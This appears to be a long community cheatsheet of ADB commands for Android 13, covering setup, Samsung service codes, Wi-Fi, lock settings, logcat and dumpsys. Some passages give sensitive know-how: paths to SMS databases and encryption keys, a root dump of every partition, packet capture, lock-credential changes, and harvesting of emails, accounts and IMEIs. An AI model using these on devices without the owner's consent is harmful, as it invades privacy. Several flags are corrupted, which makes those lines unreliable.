Time flies really, now its the the sixth time that I update this topic because now many new commands have been added that are adapted for the latest version of Android v13
. I didnt find any good help page for several years and the ones that have existed since before are obsolete and on the ones that existed before, there are a lot of commands that has been removed and there have also been added other commands in recent times.
Android is used in all kind of devices, tv, android boxes, media centers, routers, switches, smartphones, tabs, it's even used in your car and alot of more devices we can find android and if if we get hold of root and shell and can master android via cli then you probably understand what an incredible benefit you can get by learning adb, you don't have to become a master, it's enough that you know a little more than most people and you suddenly have incredible experience on your CV in 2022 and above all, you will have more fun with your devices:)
I have probably spent more then 1000
h working with android devices in cli and i still learning new things everyday
This wiki is up to date and we also cover new commands on Android 13
- Release date for Android v13: 15 August 2022
.
Secret Code | Description | ADB Command |
---|---|---|
*#06# | IMEI number | com.sec.android.app.servicemodeapp/com.sec.android.app.modemui.activities.ShowIMEI |
*#0228# | Battery status | com.sec.android.app.factorykeystring/com.sec.android.app.status.BatteryStatus |
#0# | HW Module Test | com.sec.android.app.hwmoduletest/com.sec.android.app.hwmoduletest.HwModuleTest |
*#2222# | Service Mode | com.sec.android.RilServiceModeApp/com.sec.android.RilServiceModeApp.ServiceModeApp |
*#2222# | WiFi Info | com.sec.android.app.servicemodeapp/com.sec.android.app.servicemodeapp.WifiInfoActivity |
*#2663 | Touch FIrmware | com.sec.android.app.factorykeystring/com.sec.android.app.status.touch_firmware |
*#1234 | FIrmware info | com.sec.android.app.factorykeystring/com.sec.android.app.version.SimpleVersion |
Copy and paste for add below aliases in ~/.bashrc
cat <<! >> ~/.bashrc
### StartIntent
alias startintent="adb devices| tail -n +2 | cut -sf 1 | xargs -I X adb -s X shell am start $1"
### APK Install
alias apkinstall="adb devices | tail -n +2 | cut -sf 1 | xargs -I X adb -s X install -r $1"
### Remove App
alias rmapp="adb devices | tail -n +2 | cut -sf 1 | xargs -I X adb -s X uninstall $1"
### Clear Application
alias clearapp="adb devices | tail -n +2 | cut -sf 1 | xargs -I X adb -s X shell pm clear $1"
!
You must visit https://wuseman.github.io/adb-cheatsheet/ to be able to open buttons
- Click to Open ADB Settings
- Click to Open - Device Set Screen Lock
- Click to Open - Device Settings
- Click to Open - Device Calculator
- Click to Open USB Settings
- Click to Open - Alliance Shield X in Galaxy Store
- Click to Open - Samsung Apps
- Click to Open - Samsung My Files
- Click to Open - Samsung Galaxy Store
- Click to Open - Samsung Smart Switch
- Click to Open - Samsung Secure Folder
- Click to Open - Samsung Biometrics Fingerprint ID
- Click to Open - Google Assistant
- Click to Open - Google Chrome Browser
- Click To Open - Google Search App
- Click to Open - Google Youtube App
- Click to Open - Google GMAIL
- Click to Open - Motorola Default Launcher
- Click to Open Mi Manager
- Click to Open UUISD Code - Show IMEI - #06
- Click to Open UUISD Code - Show Secret Diagnostic Mode - #0#
- Download SDK Platform-Tools for Linux
- Download SDK Platform-Tools for MacOSX
- Download SDK Platform-Tools for Windows
1. Download the Android SDK Platform Tools ZIP file for macOS.
2. Extract the ZIP to an easily-accessible location (like the Desktop for example).
3. Open Terminal.
4. To browse to the folder you extracted ADB into, enter the following command: cd /path/to/extracted/folder/
5. For example, on my Mac it was this: cd /Users/Doug/Desktop/platform-tools/
6. Connect your device to your Mac with a compatible USB cable.
Change the USB connection mode to “file transfer (MTP)” mode.
This is not always required for every device, but it’s best to just leave it in this mode so you don’t run into any issues.
7. Once the Terminal is in the same folder your ADB tools are in, you can execute the following command to launch the ADB daemon: ./adb devices
8. On your device, you’ll see an “Allow USB debugging” prompt. Allow the connection.
9. Finally, re-enter the command from step #7. If everything was successful,
you should now see your device’s serial number in macOS’s Terminal window.
1. Download the Android SDK Platform Tools ZIP file for Linux.
2. Extract the ZIP to an easily-accessible location (like the Desktop for example).
3. Open a Terminal window.
4. Enter the following command: cd /path/to/extracted/folder/
5. This will change the directory to where you extracted the ADB files.
6. So for example: cd /Users/Doug/Desktop/platform-tools/
7. Connect your device to your Linux machine with your USB cable.
Change the connection mode to “file transfer (MTP)” mode.
This is not always necessary for every device, but it’s recommended so you don’t run into any issues.
8. Once the Terminal is in the same folder your ADB tools are in, you can execute the following command to launch the ADB daemon: ./adb devices
9. Back on your smartphone or tablet device, you’ll see a prompt asking you to allow USB debugging. Go ahead and grant it.
1: Download: https://dl.google.com/android/repository/platform-tools-latest-windows.zip
2: Extract the contents of this ZIP file into an easily accessible folder (such as C:\platform-tools)
3: Open Windows explorer and browse to where you extracted the contents of this ZIP file
4: Then open up a Command Prompt from the same directory as this ADB binary. This can be done by holding
Shift and Right-clicking within the folder then click the “Open command window here” option.
5: Connect your smartphone or tablet to your computer with a USB cable.
Change the USB mode to “file transfer (MTP)” mode. Some OEMs may or may not require this,
but it’s best to just leave it in this mode for general compatibility.
6: In the Command Prompt window, enter the following command to launch the ADB daemon: adb devices
7: On your phone’s screen, you should see a prompt to allow or deny USB Debugging access. Naturally,
you will want to grant USB Debugging access when prompted (and tap the always allow check box if you never want to see that prompt again).
8: Finally, re-enter the command from step #6. If everything was successful,
you should now see your device’s serial number in the command prompt (or the PowerShell window).
pacman -S android-tools
emerge --ask dev-util/android-sdk-update-manager dev-util/android-tools
dnf install adb
apt install adb fastboot -y
/data/user_de/0/com.android.providers.telephony/databases/mmssms.db
/data/user_de/0/com.android.providers.telephony/databases/telephony.db
/system/media/audio/ui/
/system/media/audio/ringtones
/system/media/audio/notifications
/keyrefuge/misc/vold/user_keys/ce/0/current
for partitions in $(ls /dev/block/by-name/); do
"su -c dd if=/dev/block/by-name/partitions"|dd of=${partitions}.img;
done
adb start-server
adb stop-server
adb kill-server
adb tcpip <port>
adb connect <device_ip>
adb shell ip addr | awk '/state UP/ {print $2}' | sed 's/.$//'
This requires that the usb cable is connected until you connect, once connected via usb copy and paste:
interface=$(adb shell ip addr | awk '/state UP/ {print $2}' | sed 's/.$//'; )
ip=$(adb shell ifconfig ${interface} \
|egrep -o '(\<([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\>\.){3}\<([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\>' \
|head -n 1)
port="5555"
adb tcpip ${port};sleep 0.5
adb connect $ip:${port}; sleep 0.5
adb shell
adb usb
adb devices
adb get-state
adb get-serialno
adb backup -all
adb restore /path/to/backupflile.adb
adb shell
adb -s <id_from_adb_devices> shell
adb get-serialno
adb bugreport
adb install <apk_file>
adb install -r <apk_file>
adb uninstall <apk_file>
adb push mypicture.png /storage/on/device
adb push myfolder /storage/on/device
adb pull = tansfer a file: device > pc
adb pull /storage/on/device/mypicture.png /path/on/pc
adb pull /storage/on/device /path/on/pc
- Script for pull all installed Apks
- Script for pull all installed system Apks
- Script for pull all Apks installed by you
adb pull /storage/on/device/ /path/on/pc # Notice the trial slash
expand me for video preview
activit.mp4
#!/bin/bash
# Author: wuseman
for package in $(cmd package list packages|cut -d: -f2); do
cmd package dump $package \
|grep -i "activ" \
|grep -Eo "^[[:space:]]+[0-9a-f]+[[:space:]]+.*/[^[:space:]]+" \
|grep -oE "[^[:space:]]+$";
done > /tmp/full_activity_package_list.txt
- Read screen via uiautomor and print IMEI for all active esim/sim cards on device
#!/bin/bash
# Author: wuseman
### Launch IMEI (same result if you type in caller app: *#06#)
#### and dump screen to /tmp/read_screen.txt via uiautomator and parse esim IMEI:
adb shell input keyevent KEYCODE_CALL;
sleep 1;
input text '*#06#';
uiautomator dump --compressed /dev/stdout\
|tr ' ' '\n'\
|awk -F'"' '{print $2}'|grep "^[0-9]\{15\}$" \
|nl -w 1 -s':'\
|sed 's/^/IMEI/g'
Output:
IMEI1:351800000000008
IMEI2:351820000000006
Stream Device Screen on your PC
adb exec-out screenrecord --Example Output-format=h264 - \
| prefered tool - <stdin>
Recommended since it is starts immediately, very little delay, and doesn't freak out like vlc.
adb exec-out screenrecord \
--output-format=h264 - \
|ffplay \
-framerate 60 \
-probesize 32 \
-sync video -
- ffplay works, but it seems to take a few seconds to decide to start, and ends up lagging well behind the entire time.
FFPlay Default - No Settings
adb shell screenrecord --Example Output-format=h264 - | ffplay -
FFplay Customized
adb exec-out screenrecord \
--Example Output-format=h264 - \
|ffplay \
-framerate 60 \
-probesize 32 \
-sync video -
adb shell screenrecord \
--bit-rate=16m \
--Example Output-format=h264 \
--size 800x600 - \
|ffplay \
-framerate 60 \
-framedrop \
-bufsize 16M -
FFplay Customized - Stream vin 1080p
adb exec-out screenrecord \
--bit-rate=16m \
--Example Output-format=h264 \
--size 1920x1080 -
Via Shell
adb shell su -c tcpdump -nn -i wlan0 -U -s0 -w - \
'not port 5555' \
|wireshark -k -i -
Via exec-out
adb exec-out "su -c tcpdump -i any -U -w - 2>/dev/null" \
|wireshark -k -S -i -
adb reboot
adb reboot recovery
adb reboot bootloader
adb reboot fastboot
adb shell date MMDDYYYY.XX;am broadcast \
-a android.intent.action.TIME_SET
cmd connectivity airplane-mode
disabled
adb shell cmd connectivity airplane-mode enable
adb shell cmd connectivity airplane-mode disable
adb shell su -lp 2000 -c "cmd notification post -S bigtext \
-t 'adb pwnz' 'Tag' 'it rly does'"
!!! Notice "when lock screen is set, all commands require the --old argument."
adb shell cmd lock_settings set-resume-on-reboot-provider-package <package_name>
adb shell cmd lock_settings remove-cache \
--user 0
adb shell cmd lock_settings verify \
--old 1234 --user 0
adb shell cmd lock_settings clear \
--old 1234 --user 0
adb shell cmd lock_settings sp \
--old 1234 \
--user 0 <1|0>
adb shell cmd lock_settings sp \
--old 1234 \
--user 0
adb shell cmd lock_settings set-password \
--old 1234 \
--user 0 'newPassword`
adb shell cmd lock_settings set-pin \
--old 1234 \
--user 0 `newPin`
adb shell cmd lock_settings set-pattern \
--old 1234 \
--user 0 `newPattern`
adb shell cmd lock_settings set-disabled \
--old 1234 \
--user 0 `true|false`
adb shell cmd lock_settings get-disabled \
--old 1234 \
--user 0
start
adb shell cmd stats print-stats
adb shell cmd stats send-broadcast `uid` `name`
cmd stats send-broadcast [UID] NAME
UID The uid of the configuration. It is only possible to pass
the UID parameter on eng builds. If UID is omitted the
calling uid is used.
NAME The name of the configuration
adb shell cmd stats write-to-disk
adb shell cmd stats print-uid-map
adb shell cmd stats log-binary-push NAME VERSION STAGING ROLLBACK_ENABLED LOW_LATENCY STATE EXPERIMENT_IDS
NAME The train name.
VERSION The train version code.
STAGING If this train requires a restart.
ROLLBACK_ENABLED If rollback should be enabled for this install.
LOW_LATENCY If the train requires low latency monitoring.
STATE The status of the train push.
Integer value of the enum in atoms.proto.
EXPERIMENT_IDS Comma separated list of experiment ids.
Leave blank for none.
adb shell cmd statusbar send-disable-flag notification-icons
adb shell cmd statusbar send-disable-flag none
adb shell cmd statusbar get-status-icons
adb shell cmd statusbar prefs list-prefs
adb shell cmd statusbar expand-notifications
adb shell cmd statusbar collapse
adb shell cmd statusbar expand-settings
adb shell cmd statusbar help
adb shell cmd user list
adb shell cmd uimode night yes
adb shell cmd uimode night no
adb shell cmd uimode car yes
adb shell cmd uimode car no
#!/bin/bash
adb shell cmd -w wifi start-scan
sleep 7
adb shell cmd -w wifi list-scan-results
Equivalent to receiving the TelephonyManager.ACTION_EMERGENCY_CALL_STATE_CHANGED
broadcast.
adb shell cmd -w wifi set-emergency-call-state `enabled|disabled`
adb shell cmd -w wifi set-emergency-callback-mode `enabled|disabled`
adb shell cmd -w wifi list-suggestions-from-app `com.app.example`
adb shell cmd -w wifi list-all-suggestions
!!! Note "This only returns whether the app was set via the 'network-requests-set-user-approved' shell command"
- Queries whether network requests from the app is approved or not.
adb shell cmd -w wifi network-requests-has-user-approved `com.app.example`
- Sets whether network requests from the app is approved or not.
adb shell cmd -w wifi network-requests-set-user-approved `com.app.example` yes|no
adb shell cmd -w wifi list-requests
adb shell cmd -w wifi remove-all-requests
adb shell cmd -w wifi remove-request <ssid>
adb shell cmd -w wifi add-request <ssid> open|owe|wpa2|wpa3 [<passphrase>] [-b <bssid>]
adb shell cmd -w wifi settings-reset
adb shell cmd -w wifi get-softap-supported-features
adb shell cmd -w wifi get-wifi-watchdog
adb shell cmd -w wifi set-wifi-watchdog `enabled|disabled`
adb shell cmd -w wifi force-country-code enabled <two-letter code> | disabled
adb shell cmd -w wifi send-link-probe
adb shell cmd -w wifi clear-user-disabled-networks
adb shell cmd -w wifi network-requests-remove-user-approved-access-points \
`com.app.example`
adb shell cmd -w wifi imsi-protection-exemption-clear-user-approved-for-carrier \
<carrier id>
adb shell cmd -w wifi imsi-protection-exemption-has-user-approved-for-carrier \
<carrier id>
adb shell cmd -w wifi imsi-protection-exemption-set-user-approved-for-carrier \
<carrier id> yes|no
adb shell cmd -w wifi network-suggestions-has-user-approved `com.app.example`
adb shell cmd -w wifi network-suggestions-set-user-approved \
`com.app.example` yes|no
adb shell cmd -w wifi force-low-latency-mode `enabled|disabled`
adb shell cmd -w wifi force-hi-perf-mode `enabled|disabled`
adb shell cmd -w wifi get-poll-rssi-interval-msecs
adb shell cmd -w wifi set-poll-rssi-interval-msecs `<int>`
Equivalent to receiving the TelephonyManager.ACTION_EMERGENCY_CALL_STATE_CHANGED
broadcast,
sets whether we are in the middle of an emergency call.
adb shell cmd -w wifi set-emergency-call-state `enabled|disabled`
adb shell cmd -w wifi set-emergency-callback-mode `enabled|disabled`
adb shell cmd -w wifi list-suggestions-from-app `com.app.example`
adb shell cmd -w wifi list-all-suggestions
Notice: This only returns whether the app was set via the 'network-requests-set-user-approved' shell command
Queries whether network requests from the app is approved or not
adb shell cmd -w wifi network-requests-has-user-approved `com.app.example`
Sets whether network requests from the app is approved or not.
adb shell cmd -w wifi network-requests-set-user-approved `com.app.example` yes|no
adb shell cmd -w wifi list-requests
adb shell cmd -w wifi remove-all-requests
adb shell cmd -w wifi remove-request <ssid>
adb shell cmd -w wifi add-request <ssid> \
open|owe|wpa2|wpa3 [<passphrase>] \
[-b <bssid>]
adb shell cmd -w wifi settings-reset
adb shell cmd -w wifi get-softap-supported-features
adb shell cmd -w wifi get-wifi-watchdog
adb shell cmd -w wifi set-wifi-watchdog `enabled|disabled`
adb shell cmd -w wifi force-country-code enabled <two-letter code> | disabled
adb shell cmd -w wifi force-softap-channel enabled <int> | disabled
adb shell cmd -w wifi send-link-probe
adb shell cmd -w wifi clear-user-disabled-networks
adb shell cmd -w wifi network-requests-remove-user-approved-access-points `com.app.example`
adb shell cmd -w wifi imsi-protection-exemption-clear-user-approved-for-carrier <carrier id>
adb shell cmd -w wifi imsi-protection-exemption-has-user-approved-for-carrier <carrier id>
adb shell cmd -w wifi imsi-protection-exemption-set-user-approved-for-carrier <carrier id> yes|no
adb shell cmd package dump com.android.com |grep "Activity filter"|awk '{print $2}'
adb shell cmd package list packages -U
adb shell cmd package list packages|awk -F: '{print $2}'|sort
adb shell cmd package list packages -l
adb shell cmd package list packages -d
adb shell cmd package list packages -e
adb shell cmd package list packages -3
adb shell cmd package set-home-activity [--user USER_ID] TARGET-COMPONENT
adb shell cmd package list features
adb shell cmd package resolve-activity --brief com.facebook.katana
adb shell pm disable-user –user 0 <package_name>
adb shell pm disable-user com.android.vending
adb shell pm list packages|sed -e "s/package://"
|while read x; do
cmd package resolve-activity --brief $x \
|tail -n 1 \
|grep -v "No activity found"
done
adb shell pm list packages
adb shell pm list packages -e
adb shell pm list packages -d
adb shell pm list packages -3
adb shell pm list users
adb shell pm list permission-groups
adb shell pm list features
adb shell pm uninstall --user 0 com.package.name
for packages in com.package1 com.package2; do
adb shell pm uninstall --user 0 "${packages}"
done
adb shell pm clear PACKAGE_NAME
adb shell pm list permission-groups
adb shell pm list instrumentation
adb shell pm grant com.application android.permission.READ_LOGS
adb shell pm revoke com.application android.permission.READ_LOGS
adb shell pm reset-permissions -p your.app.package
adb shell log -t wuuuuuuuuuuuuuuuuuuuuuuseman "message"
adb shell log -t wuuuuuuuuuuuuuuuuuuuuuuseman "message" -p INFO
Available Options:
i: INFO
d: DEBUG
e: ERROR
f: FATAL
i: INFO
v: VERBOSE
: WARN
s: SILENT
adb shell logcat|grep wuuuuuuuuuuuuuuuuuuuuuuseman
* V — Verbose (lowest priority)
* D — Debug
* I — Info (default priority)
* W — Warning
* E — Error
* F — Fatal
* S — Silent (highest priority, on which nothing is ever printed)
Print the most recent lines since the specified time. This option does not include include -d functionality. See the -P option for information about quoting parameters with embedded spaces.
adb logcat -t '01-26 20:52:41.820'
adb logcat -L
The following example specifies an allowlist with PID 32676 and UID 675, and a denylist with PID 32677 and UID 897. PID 32677 on the denylist is weighted for faster pruning.
adb logcat -P '"/32676 675 ~/32677 897"'
adb logcat -b all -c color
adb logcat -v threadtime -b radio -d \
-f /data/log/radio_*.log
adb logcat -b radio -c color
adb logcat -b events -c color
adb logcat -b main -b radio -b events
adb logcat -b main,radio,events
adb logcat -v descriptive -v color
adb logcat -v epoch -v color
adb logcat -v monotonic -v color
adb logcat -v printable -v color
adb logcat -v time
adb logcat -v threadtime
adb logcat -v color
adb logcat -g
adb logcat -G 16M
adb logcat -c
adb logcat *:V
adb logcat -f <filename>
adb logcat -v process
adb logcat -v raw
adb logcat -v time
adb logcat -v thread
Display the date, invocation time, priority, tag, and the PID and TID of the thread issuing the message
adb logcat -v threadtime
adb logcat -v long
adb logcat -b main -b radio -b events
adb logcat \
-v brief \
-v long \
-v process \
-v raw \
-v tag \
-v thread \
-v threadtime \
-v time \
-v color
adb logcat \
|grep "LockSettingsService\
|LockPatternUtilsKeyStorage\
|vold\
|vold\
|keystore2\
|keymaster_tee\
|LockSettingsService\
|vold_prepare_subdirs"
screenState="$(adb shell dumpsys input_method \
|grep -i "mSystemReady=true mInteractive=" \
|awk -F= '{print $3}')"
if [[ $screenState = "true" ]]; then
echo "Screen is on";
else
echo "Screen is off";
fi
adb shell dumpsys -l \
|sed 's/^ /adb shell dumpsys/g;G'
adb shell dumpsys -l\
|sed 's/^ /adb shell dumpsys/g;s/$/ -h/g;G'
adb shell dumpsys appops -h \
|sed 's/--/adb shell --/g;s/ /### /g' \
adb shell dumpsys appops --op [OP]
adb shell dumpsys appops--mode [MODE]
adb shell dumpsys appops--package [PACKAGE]
adb shell dumpsys appops--attributionTag [attributionTag]
adb shell dumpsys appops--include-discrete [n]
adb shell dumpsys appops--watchers
adb shell dumpsys appops--history
adb shell dumpsys android.system.keystore2.IKeystoreService/default
adb shell dumpsys android.security.samsungattestation
adb shell dumpsys android.security.metrics
adb shell dumpsys android.security.maintenance
adb shell dumpsys android.security.legacykeystore
adb shell dumpsys android.security.identity
adb shell dumpsys android.security.compat
adb shell dumpsys android.security.authorization
adb shell dumpsys android.security.apc
adb shell dumpsys powerstats
adb shell dumpsys power
adb shell dumpsys permission
adb shell dumpsys permission_checker
adb shell dumpsys permissionmgr
adb shell dumpsys password_policy
adb shell dumpsys phone
adb shell dumpsys thermalservice
adb shell dumpsys usagestats com.bankid.bus
dumpsys usb set-port-roles "default" source device
dumpsys usb add-port "matrix" dual
dumpsys usb connect-port "matrix" ufp? sink? device?
dumpsys usb ports
dumpsys usb disconnect-port "matrix"
dumpsys usb remove-port "matrix"
dumpsys usb reset
dumpsys usb add-port "matrix" dual
dumpsys usb connect-port "matrDumpsysix" dfp source? host
dumpsys usb reset
dumpsys usb add-port "matrix" dual
dumpsys usb connect-port "matrix" dfp source host
dumpsys usb reset
dumpsys usb add-port "matrix" ufp
dumpsys usb connect-port "matrix" ufp sink device
dumpsys usb reset
dumpsys usb add-port "matrix" ufp
dumpsys usb set-contaminant-status "matrix" true
dumpsys usb set-contaminant-status "matrix" false
dumpsys usb dump-descriptors -dump-short
dumpsys usb dump-descriptors -dump-tree
dumpsys usb dump-descriptors -dump-list
dumpsys usb dump-descriptors -dump-ra
adb shell dumpsys procstats
adb shell dumpsys procstats --full-stats
adb shell dumpsys procstats --csv-mem norm
adb shell dumpsys package com.android.chrome
adb shell dumpsys package \
|grep -Eo "^[[:space:]]+[0-9a-f]+[[:space:]]+com.samsung.android.app.telephonyui.esimclient/[^[:space:]]+" \
|grep -oE "[^[:space:]]+$"
com.samsung.android.app.telephonyui.esimclient/.OdaWebViewActivity
adb shell dumpsys package \
|grep -Eo "^[[:space:]]+[0-9a-f]+[[:space:]]+com.samsung.android.app.telephonyui/[^[:space:]]+"
|grep -oE "[^[:space:]]+Receiver"
com.samsung.android.app.telephonyui/com.android.voicemail.impl.sync.VoicemailProviderChangeReceiver
com.samsung.android.app.telephonyui/com.android.voicemail.impl.fetch.FetchVoicemailReceiver
com.samsung.android.app.telephonyui/com.android.voicemail.impl.sync.VoicemailProviderChangeReceiver
com.samsung.android.app.telephonyui/com.android.voicemail.impl.fetch.FetchVoicemailReceiver
com.samsung.android.app.telephonyui/.netsettings.ui.keystringreceiver.KeyStringReceiver
com.samsung.android.app.telephonyui/.netsettings.ui.keystringreceiver.KeyStringReceiver
com.samsung.android.app.telephonyui/.netsettings.ui.keystringreceiver.KeyStringReceiver
com.samsung.android.app.telephonyui/com.android.voicemail.impl.sync.VoicemailProviderChangeReceiver
com.samsung.android.app.telephonyui/com.android.voicemail.impl.fetch.FetchVoicemailReceiver
com.samsung.android.app.telephonyui/.callsettings.ui.spamprotection.WhoWhoServiceReceiver
com.samsung.android.app.telephonyui/.callsettings.ui.tty.TtyNotificationReceiver
com.samsung.android.app.telephonyui/.carrierui.networkui.app.NetworkUiReceiver
com.samsung.android.app.telephonyui/.carrierui.networkui.app.NetworkUiReceiver
com.samsung.android.app.telephonyui/.callsettings.ui.blocknumbers.BlockNumbersReceiver
adb shell dumpsys package |grep -Eo "^[[:space:]]+[0-9a-f]+[[:space:]]+com.samsung.android.app.telephonyui/[^[:space:]]+" |grep -oE "[^[:space:]]+.*Activity"
979e24b com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.CallBackgroundExternalActivity
979e24b com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.CallBackgroundExternalActivity
979e24b com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.CallBackgroundExternalActivity
979e24b com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.CallBackgroundExternalActivity
82531b8 com.samsung.android.app.telephonyui/.emergencydialer.view.EmergencyDialerActivity
82531b8 com.samsung.android.app.telephonyui/.emergencydialer.view.EmergencyDialerActivity
82531b8 com.samsung.android.app.telephonyui/.emergencydialer.view.EmergencyDialerActivity
5438970 com.samsung.android.app.telephonyui/.netsettings.ui.esim.QrTransferActivity
b46c261 com.samsung.android.app.telephonyui/.callsettings.ui.preference.CallSettingsActivity
4743337 com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.imagepreview.ImagePreviewPortActivity
82531b8 com.samsung.android.app.telephonyui/.emergencydialer.view.EmergencyDialerActivity
ee0c0be com.samsung.android.app.telephonyui/.netsettings.ui.NetSettingsActivity
6af1334 com.samsung.android.app.telephonyui/.carrierui.networkui.app.NoticeDataConnectionDialogActivity
b4d94cc com.samsung.android.app.telephonyui/.carrierui.iccnetwork.view.IccNetworkLockDialogActivity
6b62446 com.samsung.android.app.telephonyui/.carrierui.networkui.app.TmoDataRoamDialogActivity
3b405d1 com.samsung.android.app.telephonyui/.callsettings.ui.callbackground.imagepreview.ImagePreviewActivity
14c5c99 com.samsung.android.app.telephonyui/.callsettings.ui.roamingautodial.RoamingAutoDialMainActiv
adb shell dumpsys package \
|grep -Eo "^[[:space:]]+[0-9a-f]+[[:space:]]+com.samsung.android.app.telephonyui/[^[:space:]]+" \
|grep -oE "[^[:space:]]+.*Service"
76f5ff5 com.samsung.android.app.telephonyui/.callsettings.ui.spamprotection.WhoWhoService
76f5ff5 com.samsung.android.app.telephonyui/.callsettings.ui.spamprotection.WhoWhoService
76f5ff5 com.samsung.android.app.telephonyui/.callsettings.ui.spamprotection.WhoWhoService
1b863a1 com.samsung.android.app.telephonyui/.carrierui.tile.TurnOn5gTileService
766c1ab com.samsung.android.app.telephonyui/.carrierui.tile.VoLteTileService
61bfb8f com.samsung.android.app.telephonyui/.netsettings.ui.simcardmanager.service.SimCardManagerProcessService
9284a25 com.samsung.android.app.telephonyui/com.android.voicemail.impl.OmtpService
dumpsys package \
|grep -Eo "^[[:space:]]+[0-9a-f]+[[:space:]]+.*/[^[:space:]]+"
|grep -oE "[^[:space:]]+$"
dumpsys activity|grep -i mCurrentFocus|awk 'NR==1{print $3}'|cut -d'}' -f1
adb shell dumpsys perm
adb shell dumpsys a
adb shell dumpsys activity broadcast
adb shell dumpsys activity broadcast-stats
adb shell dumpsys activity i
adb shell dumpsys activity p
adb shell dumpsys activity o
adb shell dumpsys activity services
adb shell dumpsys activity as
adb shell dumpsys activity lru
adb shell dumpsys activity lru
adb shell dumpsys activity binder-proxies
adb shell dumpsys activity settings
adb shell dumpsys activity service
adb shell dumpsys activity package
adb shell dumpsys activity all
adb shell dumpsys activity top
adb shell dumpsys activity -a
adb shell dumpsys activity -c
adb shell dumpsys activity -p
adb shell dumpsys activity --checkin
adb shell dumpsys activity --C
adb shell dumpsys activity --proto
adb shell dumpsys activity --autofill
adb shell dumpsys activity recents
adb shell dumpsys activity exit-info
adb shell dumpsys activity lmk
adb shell dumpsys activity recents
adb shell dumpsys activity top
adb shell dumpsys activity top
adb shell dumpsys activity top
adb shell dumpsys -l
adb shell dumpsys -l |sed 's/^ / /g'
Currently running services:
AAS
AODManagerService
CCM
CocktailBarService
CodecSolution
CustomFrequencyManagerService
DeviceRootKeyService
DirEncryptService
DisplaySolution
DockObserver
EngineeringModeService
HqmManagerService
ImsBase
OcfKeyService
ReactiveService
SEAMService
SamsungKeyProvisioningManagerService
SatsService
SecExternalDisplayService
adb shell dumpsys lock_settings
Current lock settings service state:
User State:
User 0
SP Handle: 5f0ef3437a85f55
Last changed: 2021-07-28 20:22:36 (b8212446331f2358)
SID: 3fffcda35ee6c180
Quality: 0
CredentialType: Pin
SeparateChallenge: true
Metrics: known
Storage:
User 0 [/data/system_de/0/spblob]:
5 2021-07-28 20:22:36 05f0ef3437a85f55.weaver
31 2021-07-28 20:22:36 05f0ef3437a85f55.pwd
72 2021-07-28 20:22:36 05f0ef3437a85f55.metrics
186 2021-07-28 20:22:36 05f0ef3437a85f55.spblob
58 2021-07-28 20:22:36 0000000000000000.handle
StrongAuth:
PrimaryAuthFlags state:
userId=0, primaryAuthFlags=0
NonStrongBiometricAllowed state:
RebootEscrow:
mRebootEscrowWanted=false
mRebootEscrowReady=false
mRebootEscrowListener=com.android.server.recoverysystem.RecoverySystemService@bc1c4d8
mPendingRebootEscrowKey is not set
adb shell dumpsys media.audio_flinger | grep -A3 Input
adb shell dumpsys bluetooth_manager
adb shell dumpsys telephony.registry
adb shell dumpsys dumpsys location
adb shell dumpsys settings
_id:225 name:lock_screen_show_notifications pkg:com.android.settings value:1
_id:6 name:volume_bluetooth_sco pkg:android value:7 default:7
_id:192 name:ringtone_set pkg:com.google.android.gsf value:1
_id:159 name:lock_screen_allow_rotation pkg:android value:0
_id:2997 name:Flashlight_brightness_level pkg:com.android.systemui value:1001
_id:67 name:SEM_VIBRATION_NOTIFICATION_INTENSITY pkg:android value:5
_id:175 name:call_popup pkg:android value:0 default:0
_id:59 name:install_non_market_apps pkg:android value:1 default:1
adb shell dumpsys simphonebook
adb shell dumpsys hardware_properties
****** Dump of HardwarePropertiesManagerService ******
CPU temperatures: [38.0, 38.0]
CPU throttling temperatures: [55.0, 76.0]
CPU shutdown temperatures: [115.0, 115.0]
adb shell dumpsys account \
|grep -i com.*$ -o\
|cut -d' ' -f1\
|cut -d} -f1|grep -v com$
com.microsoft.workaccount
com.skype.raider
com.samsung.android.mobileservice
com.facebook.messenger
com.google.android.gm.exchange
adb shell dumpsys notification
adb shell dumpsys \
|egrep -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b"
adb shell dumpsys dumpsys package com.lge.signboard | grep versionName
versionName=6.00.170603-0
adb shelldumpsys user
State: RUNNING_UNLOCKED
Last logged in fingerprint
agree Knox Privacy Policy: false
Do you have any idea about how to discharge the AVD battery yet? 🔋 Probably not if it is a virtual device with no real battery. But fortunately we can use the following command to simulate any scenario we want, like setting the level to 1% only
adb shell dumpsys battery set level 1
adb shell dumpsys battery set ac 1
adb shell dumpsys battery set ac 0
adb shell dumpsys battery set usb 1
adb shell dumpsys battery set usb 0
adb shell dumpsys battery reset
adb shell dumpsys battery
adb shell dumpsys atterystats
adb shell dumpsys batterystats --reset
adb shell dumpsys meminfo
Applications Memory Usage (in Kilobytes):
Uptime: 29602806 Realtime: 57806941
Total PSS by process:
265,435K: com.android.systemui (pid 4190)
264,671K: system (pid 3838)
171,192K: surfaceflinger (pid 3360)
152,523K: [email protected] (pid 3338)
128,781K: com.sec.android.app.launcher (pid 5597 / activities)
92,656K: se.kronansapotek.kronan (pid 26729 / activities)
84,563K: logd (pid 3203)
80,944K: com.google.android.talk (pid 32314 / activities)
79,754K: com.google.android.googlequicksearchbox:search
adb shell dumpsys battery unplug
adb shell dumpsys notification | grep NotificationRecord | wc -l
adb shell dumpstate -v
========================================================
== dumpstate: 2019-08-30 19:31:05
========================================================
Build: PPR1.180610.011.G950FXXS5DSF1
Build fingerprint: 'samsung/dreamltexx/dreamlte:9/PPR1.180610.011/G950FXXS5DSF1:user/release-keys'
Bootloader: G950FXXS5DSF1
Radio: G950FXXS5DSF1
Network: Comviq
Linux version 4.4.111-16019454 (dpi@21DHA724) (gcc version 4.9.x 20150123 (prerelease)
(GCC) ) #1 SMP PREEMPT Mon Jun 3 20:16:50 KST 2019
Kernel: Command line: (unknown)
up 0 weeks, 0 days, 16 hours, 21 minutes
Uptime: Bugreport format version: 2.0
Dumpstate info: id=0 pid=26940 dry_run=0 args=dumpstate -v extra_options=
adb shell set-persistent-vr-mode-enabled `true|false`
adb shell set-display-props `width` `height` `dpi`
adb shell enable-virtual-display `true|false`
